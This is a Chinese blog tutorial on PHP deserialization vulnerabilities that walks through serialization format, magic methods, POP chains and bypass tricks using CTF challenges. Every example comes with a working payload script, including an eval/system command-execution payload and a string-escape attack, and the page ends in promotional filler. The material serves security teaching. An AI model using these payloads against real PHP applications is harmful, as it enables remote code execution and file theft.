php反序列化漏洞(非常详细),零基础入门到精通,看这一篇就够了

PHP序列化反序列化漏洞总结(一篇懂) 文章目录序列化和反序列化的概念与基础知识PHP的序列化访问控制修饰符PHP反序列化PHP反序列化漏洞(常规)__wakeup()__destruct()示例一:示例二(连菜刀、反序列化免杀后门):__toString()Error类ExceptionPHP中Session反序列化(重点)简介与基础知识Session序列化漏洞利用PHP Session中的序列化危害实际利用CTF例题 序列化和反... 阅读详情

前言

父类:一个类被其它类继承,可将该类成为父类,或基类,超类;

子类:一个类继承其他类称为子类,也可称为派生类;

5.类的访问权限修饰符

public:公共的,在类的内部、子类和类的外部中都可以被调用;

protected:受保护的,在类的内部和子类可以被调用,在类的外部不可调用;

private:私有的,只能在类的内部调用,在子类和类的外部不可调用;

二、序列化基础

1.概述

序列化是将对象或数组转化为方便存储、传输的字符串,php使用serialize()函数将对象序列化;

序列化只作用于对象的成员属性,不序列化成员方法;

2.序列化值

各类型值的serialize序列化:

空字符 null -> N;

整型 123 -> i:123;

浮点型 1.5 -> d:1.5;

boolean型 true -> b:1;

boolean型 false -> b:0;

字符串 “haha” -> s:4:“haha”;

3.对象序列化
//对象序列化

<?php
class test
{
    private $a1="haha";
    protected $a2="dada";
    public $a3="sasa";
    public $b=true;
    public $c=123;
}
$d=new test();
echo serialize($d);
?>

//输出为:
O:4:"test":5:{s:8:" test a1";s:4:"haha";s:5:" * a2";s:4:"dada";s:2:"a3";s:4:"sasa";s:1:"b";b:1;s:1:"c";i:123;}

//解释:大写字母O表示对象,4是类名长度,test为类名,5表示该类有5个成
//员属性,注意private私有属性序列化的属性名格式为“%00类名%00属性名”,
//%00为空格,如上的“ test a1”,protected受保护属性序列化的属性名格
//式为“%00*%00属性名”,如上的“ * a2”,对于存在这两种类型的成员属性的
//类在写payload时通常会使用urlencode()函数编码;其他都是正常的序列化

Public(公有):被序列化时属性值为:属性名
Protected(受保护):被序列化时属性值为:\x00*\x00属性名
Private(私有):被序列化时属性值为:\x00类名\x00属性名

4.pop链序列化
//pop链序列化

<?php
class test1
{
    public $a="haha";
    public $b=true;
    public $c=123;
}
class test2
{
    public $h="hhh";
    public $d;
}

$m=new test1();
$n=new test2();
$n->d=$m;
echo serialize($n);

?>

//输出:
O:5:"test2":2:{s:1:"h";s:3:"hhh";s:1:"d";O:5:"test1":3:{s:1:"a";s:4:"haha";s:1:"b";b:1;s:1:"c";i:123;}}

//对象的成员属性为另一个对象,序列化值出现如上嵌套

5.数组序列化
//数组序列化

<?php
$ha=array("haha",123,true,"ggg");
echo serialize($ha);
?>

//输出:
a:4:{i:0;s:4:"haha";i:1;i:123;i:2;b:1;i:3;s:3:"ggg";}

//解释:a表示这是一个数组的序列化,成员属性名为数组的下标,格式"i:数组下标;"
//其他与正常序列化一致

三、反序列化

1.概述

反序列化是将序列化得到的字符串转化为一个对象的过程;

反序列化生成的对象的成员属性值由被反序列化的字符串决定,与原来类预定义的值无关;

反序列化使用unserialize()函数将字符串转换为对象,序列化使用serialize()函数将对象转化为字符串;

//反序列化

<?php
class test
{
    public $a="haha";
    public $b=123;
}

$ha='O:4:"test":2:{s:1:"a";s:3:"666";s:1:"b";i:6666;}';
$ha=unserialize($ha)
var_dump($ha);

?>

//输出:
object(test)#1 (2) {
  ["a"]=>
  string(3) "666"
  ["b"]=>
  int(6666)
}


//如上将字符串转换为对象,且对象的值与类预定义的值无关,取决于被反序列化的字符串

2.反序列化漏洞的成因

反序列化过程中unserialize()函数的参数可以控制,传入特殊的序列化后的字符串可改变对象的属性值,并触发特定函数执行代码;

//反序列化漏洞简单案例

<?php
class test
{
    public $a="haha";
    public function display()
    {
        eval($this->a);
    }
}
$cmd=$_GET['cmd'];
//cmd=O:4:"test":1:{s:1:"a";s:10:"phpinfo();";}
$d=unserialize($cmd);
$d->display();

?>

//如上反序列化的内容是GET方法获得的,是可控的,传入上图注释中的cmd
//内容,可实现执行php代码:phpinfo();

四、魔术方法详解

魔术方法是一个预定好的、在特定情况下自动触发的行为方法;

//魔术方法

__construct()       //类的构造函数,创建对象时触发

__destruct()        //类的析构函数,对象被销毁时触发

__call()            //调用对象不可访问、不存在的方法时触发

__callStatic()     //在静态上下文中调用不可访问的方法时触发

__get()            //调用不可访问、不存在的对象成员属性时触发

__set()           //在给不可访问、不存在的对象成员属性赋值时触发

__isset()         //当对不可访问属性调用isset()或empty()时触发

__unset()         //在不可访问的属性上使用unset()时触发

__invoke()        //把对象当初函数调用时触发

__sleep()        //执行serialize()时,先会调用这个方法

__wakeup()       //执行unserialize()时,先会调用这个方法

__toString()     //把对象当成字符串调用时触发

__clone()        //使用clone关键字拷贝完一个对象后触发

//__construct()和__destruct()

<?php
class test
{
    public $a="haha";
    public function __construct()
    {
        echo "已创建--";
    }
    public function __destruct()
    {
        echo "已销毁";
    }
}
$a=new test();

?>

//输出:
已创建--已销毁

//对象被创建时触发__construct()方法,对象使用完被销毁时触发__destruct()方法

//__sleep()和__wakeup()

<?php
class test
{
    public $a="haha";
    public function __sleep()
    {
        echo "使用了serialize()--";
        return array("a");
    }
    public function __wakeup()
    {
        echo "使用了unserialzie()";
    }
}

$a=new test();
$b=serialize($a);
$c=unserialize($b);

?>

//输出:
使用了serialize()--使用了unserialzie()

//对象被序列化时触发了__sleep(),字符串被反序列化时触发了__wakeup()

//__toString()和__invoke()

<?php
class test
{
    public $a="haha";
    public function __toString()
    {
        return "被当成字符串了--";
    }
    public function __invoke()
    {
        echo "被当成函数了";
    }
}

$a=new test();
echo $a;
$a();

?>

//输出:
被当成字符串了--ss被当成函数了

//ehco $a 把对象当成字符串输出触发了__toString(),$a() 把对象当成
//函数执行触发了__invoke()

//__call()和其他魔术方法

<?php
class test
{
    public $h="haha";

    public function __call($arg1,$arg2)
    {
        echo "你调用了不存在的方法";
    }
}

$a=new test();
$a->h();

?>

//输出:
你调用了不存在的方法

//$a->h()调用了不存在的方法触发了__call()方法,其他魔术方法类似不再演示

五、Pop链的构造

//pop简单例题 

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?> NSSCTF{b046d6b0-e1b0-4f26-b54e-acfd4095de65}

分析

w44m类的Getflag方法可以输出flag,而该方法不能自动触发,因此需要考虑如何触发该方法;

可以观察到w33m类的__toString()方法下的代码是可以实现w44m类的Getflag方法调用的,只需令w33m类的属性 w 00 m 为 w 44 m 对象,属性 w00m为w44m对象,属性 w00m为w44m对象,属性w22m的值为Getflag;

而w33m类的__toString()方法触发的条件是对象被当成字符串;

可以观察到w22m类的__destruct()方法输出了$w00m属性,只需令此属性值为w33m对象即可;

到此,就把三个类的对象串起来了,下面是payload的构造:

<?php
class w44m
{
    private $admin = 'w44m';
    protected $passwd = '08067';
}
class w22m
{
    public $w00m;
}
class w33m
{
    public $w00m;
    public $w22m="Getflag";
}

$a=new w22m();
$b=new w33m();
$c=new w44m();
$b->w00m=$c;
$a->w00m=$b;

$payload=serialize($a);
echo "?w00m=".urlencode($payload);  //存在private和protected属性要url编码

?>

//输出为:
?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m
%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%
3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00ad
min%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00pas
swd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%
3Bs%3A7%3A%22Getflag%22%3B%7D%7D

六、绕过

1. __wakeup()方法漏洞

存在此漏洞的php版本:php5-php5.6.25、php7-php7.0.10;

调用unserialize()方法时会先调用__wakeup()方法,但是当序列化字符串的表示成员属性的数字大于实际的对象的成员属性数量是时,__wakeup()方法不会被触发,以下的简单例题是__wakeup()方法漏洞的利用:

//__wakeup()方法绕过例题

 <?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> NSSCTF{f7b177f4-8e9c-4154-9134-db0011b3b97a}

分析

只要满足__destruct()方法中的if条件就可以获得flag,构造payload时给对于属性赋值即可;

然而,在反序列化调用unserialize()方法时会触发__wakeup方法,进而改变我们给$passwd属性的赋值,最终导致不满足if条件;

因此需要避免__wakeup方法的触发,这就需要可以利用__wakeup()方法的漏洞,使序列化字符串的表示成员属性的数字大于实际的对象的成员属性数量,如下payload的构造:

<?php
class HaHaHa{
    public $admin="admin";
    public $passwd="wllm";
}

$a=new HaHaHa();

$b=serialize($a);
echo "?p=".$b;

?>

//输出:
?p=O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

//将成员属性数量2改为3,大于实际值2即可,payload如下:
?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

2. O:+6绕过正则
//简单案例

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 

分析

如上正则匹配检查时,匹配到O:4会终止程序,可以替换为O:+4绕过正则匹配;

或者将对象放入数组再序列化 serialize(array($a));

前者有的php版本不适应,后者通用;

3. 引用
//简单例题

<?php

show_source(__FILE__);

###very___so___easy!!!!
class test{
    public $a;
    public $b;
    public $c;
    public function __construct(){
        $this->a=1;
        $this->b=2;
        $this->c=3;
    }
    public function __wakeup(){
        $this->a='';
    }
    public function __destruct(){
        $this->b=$this->c;
        eval($this->a);
    }
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
    die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
NSSCTF{This_iS_SO_SO_SO_EASY} 

分析

魔术方法___wakeup()会使变量a为空,且由于正则限制无法通过改变成员数量绕过__wakeup(),这时可以使用引用的方法,使变量a与变量b永远相等,魔术方法__destruct()把变量c值赋给变量b时,相当于给变量a赋值,这就可以完成命令执行,payload如下:

<?php
class test
{
    public $a;
    public $b;
    public $c='system("cat /fffffffffflagafag");';

}
$h = new test();
$h->b = &$h->a;   //注意:取会改变的属性的地址,如取a的地址赋值给b,当给a赋值时a会等于b的值
echo '?a='.serialize($h);

//输出
//?a=O:4:"test":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";s:33:"system("cat /fffffffffflagafag");";}

4. 对类属性不敏感

protected和private属性的属性名与public属性的属性名不同,由于对属性不敏感,即使不加%00* %00和%00类名%00也可以被正确解析;

5. 大写S当十六进制绕过

表示字符串类型的s大写为S时,其对应的值会被当作十六进制解析;

例如   s:13:"SplFileObject"  中的Object被过滤

可改为  S:13:"SplFileOb\6aect"

小写s变大写S,长度13不变,\6a是字符j的十六进制编码

6.php类名不区分大小写
O:1:"A":2:{s:1:"c";s:2:"11";s:1:"b";s:2:"22";}

等效于

O:1:"a":2:{s:1:"c";s:2:"11";s:1:"b";s:2:"22";}

七、字符串逃逸

1.反序列化特点

反序列化以;}结束,其后的内容不影响正常的反序列化;

属性值的内容是根据其前面代表字符串长度的整数判断的;

2.字符串逃逸的成因

为了安全将序列化后的字符串作一些关键词替换后再反序列化,却导致字符串长度变长或变短,在精心构造的payload中将造成反序列化字符串逃逸,到达攻击目的;

一般在数据先后经过serialize()和unserialize()处理,在这个过程中字符串变多或变少的时侯可能存在反序列化的属性逃逸;

3.简单演示
<?php  
class haha
{
    public $a = 'AAA';
    public $b = '12345';
}

$m = new haha();
$n = serialize($m);
//echo $n;
//O:4:"haha":2:{s:1:"a";s:3:"AAA";s:1:"b";s:5:"12345";}
//echo print_r(unserialize($n), true);
// haha Object
// (
//     [a] => AAA
//     [b] => 12345
// )

//将序列化的字符串属性a的值中的A替换为cc,每替换一个A长度加1
function filter($str)
{
    return preg_replace('/A/' ,'cc' ,$str);
}

//";s:1:"b";s:5:"12345";}长度为23,需要23个A完成字符串逃逸
$payload = new haha();
$payload->a = 'AAAAAAAAAAAAAAAAAAAAAAA";s:1:"b";s:5:"/flag";}';
$payload = serialize($payload);
$payload = filter($payload);
echo $payload;
//O:4:"haha":2:{s:1:"a";s:46:"cccccccccccccccccccccccccccccccccccccccccccccc";s:1:"b";s:5:"/flag";}";s:1:"b";s:5:"12345";}
echo print_r(unserialize($payload), true);
// haha Object
// (
//     [a] => cccccccccccccccccccccccccccccccccccccccccccccc
//     [b] => /flag
// )


八、session反序列化

零基础入门网络安全/黑客

【----帮助网安学习,以下所有学习资料文末免费领取!----】

> ① 网安学习成长路径思维导图
> ② 60+网安经典常用工具包
> ③ 100+SRC漏洞分析报告
> ④ 150+网安攻防实战技术电子书
> ⑤ 最权威CISSP 认证考试指南+题库
> ⑥ 超1800页CTF实战技巧手册
> ⑦ 最新网安大厂面试题合集(含答案)
> ⑧ APP客户端安全检测指南(安卓+IOS)

大纲

首先要找一份详细的大纲。

img

学习教程

第一阶段:零基础入门系列教程

img

该阶段学完即可年薪15w+

第二阶段:技术入门

弱口令与口令爆破
XSS漏洞
CSRF漏洞
SSRF漏洞
XXE漏洞
SQL注入
任意文件操作漏洞
业务逻辑漏洞

该阶段学完年薪25w+

img

阶段三:高阶提升

反序列化漏洞
RCE
综合靶场实操项目
内网渗透
流量分析
日志分析
恶意代码分析
应急响应
实战训练

该阶段学完即可年薪30w+

面试刷题

img

在这里插入图片描述

最后,我其实要给部分人泼冷水,因为说实话,上面讲到的资料包获取没有任何的门槛。

但是,我觉得很多人拿到了却并不会去学习。

大部分人的问题看似是“如何行动”,其实是“无法开始”。

几乎任何一个领域都是这样,所谓“万事开头难”,绝大多数人都卡在第一步,还没开始就自己把自己淘汰出局了。

如果你真的确信自己喜欢网络安全/黑客技术,马上行动起来,比一切都重要

资料领取

上述这份完整版的网络安全学习资料已经上传网盘,朋友们如果需要可以微信扫描下方二维码 ↓↓↓ 或者 点击以下链接都可以领取

点击领取 《网络安全&黑客&入门进阶学习资源包》

PHP反序列化【原理+CTF实战】 申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等.进行绕过,(在赛后我把题给Ssh1y写了,他的利用方式是nc反弹个shell,属实是开拓了我的眼界)。环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等。”,这显然就无法继续利用了。编码后在前部加7个1。 阅读详情

相关推荐

Web安全--反序列化漏洞详解(php篇)

反序列化

bobo_milk的博客 1449

php 反序列化漏洞

什么是序列化 序列化即 将对象的状态信息转换为可以存储或传输的形式的过程 在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象 简单来说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台、安全的进行通信 。 反序列分为PHP反序列和java反序列化,下面就以PHP反序列化漏洞为切入点,讲述反序列化漏洞核心的原理,其他Java、Python等语言的反序列化漏洞,其原理基本相通。 PHP中的序列化和反序列化

渗透之路,攻防之间皆学问 6194

详解PHP反序列化漏洞

PHP反序列化学习序列化与反序列化定义常见使用情况常见的序列化格式反序列化中常见的魔术方法反序列化绕过protected和private绕过__wakeup绕过(CVE-2016-7124)引用利用16进制绕过字符过滤同名方法的利用绕过部分正则字符逃逸字符增多字符减少 序列化与反序列化 定义 序列化(串行化):是将变量转换为可保存或传输的字符串的过程; 反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用; 这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性; 常见的php

LYJ20010728的博客 3298

PHP反序列化

POP即:面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,是从现有运行 些工作了。一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。(1)先要确定起点和终点,如果起点有多个,那么就去尝试最有可能进行相互跳转的一个,起点和终点无法确定,POP链不可能成功。

m0_62451321的博客 6413

PHP反序列化漏洞(非常详细),零基础入门精通,看这一篇

PHP反序列化漏洞入门(非常详细),零基础入门精通,看这一篇

隔壁王叔的博客 1088

awvs使用教程(非常详细),零基础入门精通,看这一篇

awvs使用教程(非常详细),零基础入门精通,看这一篇

分享Python知识 1万+

反序列化漏洞分析讲解,零基础入门精通,收藏这篇就

1.1 漏洞简介PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。1.2反序列化函数在我们讲PHP反序列化的时候,基本都是围绕着,**unserialize()**这两个函数。

Libra1313的博客 1708

DVWA安装及使用(非常详细),零基础入门精通,看这一篇

DVWA安装及使用(非常详细),零基础入门精通,看这一篇

分享Python知识 3711

PHP反序列化漏洞基础,从零基础精通,收藏这篇就了!

本文为看雪论坛精华文章看雪论坛作者ID:H3h3QAQ将变量或者对象转换成字符串的过程,用于存储或传递PHP的值的过程种,同时不丢失其类型和结构。反序列化运行结果。

yy1715713348的博客 1010

PHP反序列化漏洞原理及示例

本站转自行云博客https://www.xy586.top/ 文章目录PHP反序列化序列化与反序列化PHP魔法函数反序列化漏洞简介原理触发条件示例 PHP反序列化 序列化与反序列化 序列化说通俗点就是把一个对象变成可以传输的字符串。 序列化过程中还会对不同属性的变量进行不同方式的变化 public的属性在序列化时,直接显示属性名 protected的属性在序列化时,会在属性名前增加0x00*0x00,其长度会增加3 private的属性在序列化时,会在属性名前增加0x00classname0x00.

qq_41679358的博客 8063

PHP反序列化漏洞-入门,从零基础精通,收藏这篇就了!

PHP反序列化漏洞是Web安全的一大威胁。理解序列化/反序列化的原理,时刻保持警惕,才能避免被黑客利用。记住,安全不是一蹴而就的,而是一个持续不断的过程。```

yy1715713348的博客 1016

黑客论坛有哪些(非常详细),零基础入门精通,看这一篇

黑客论坛有哪些(非常详细),零基础入门精通,看这一篇

隔壁王叔的博客 2054

php 反序列漏洞初识, (非常详细)从零基础入门精通,收藏这篇就

首先这个东西在 PHP 网站中的定义:所有 php 里面的值都可以使用函数来返回一个包含字节流的字符串来表示。函数能重新把字符串变回 php 原来的值。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。按照我的理解,将一个对象转换成一个字符串,将字符串还原为一个对象。当然从本质上来说,反序列化的数据本身是没有危害的,用户可控数据进行反序列化是存在危害的。

Libra1313的博客 1163

反序列化漏洞详解 一文了解反序列化漏洞

本篇总结归纳反序列化漏洞,包括phpjava、python三种语言

闵行小鱼塘 6382

PHP反序列化漏洞

这篇主要是学习介绍php反序列化漏洞基础。

2301_79096184的博客 1937
上一篇: 什么是DNS劫持(非常详细),零基础入门网络安全,看这一篇就够了
下一篇: 渗透测试的基本步骤是什么(非常详细),零基础入门到精通,看这一篇就够了
黑客老许
博客等级 码龄8年 5946粉丝 1034原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值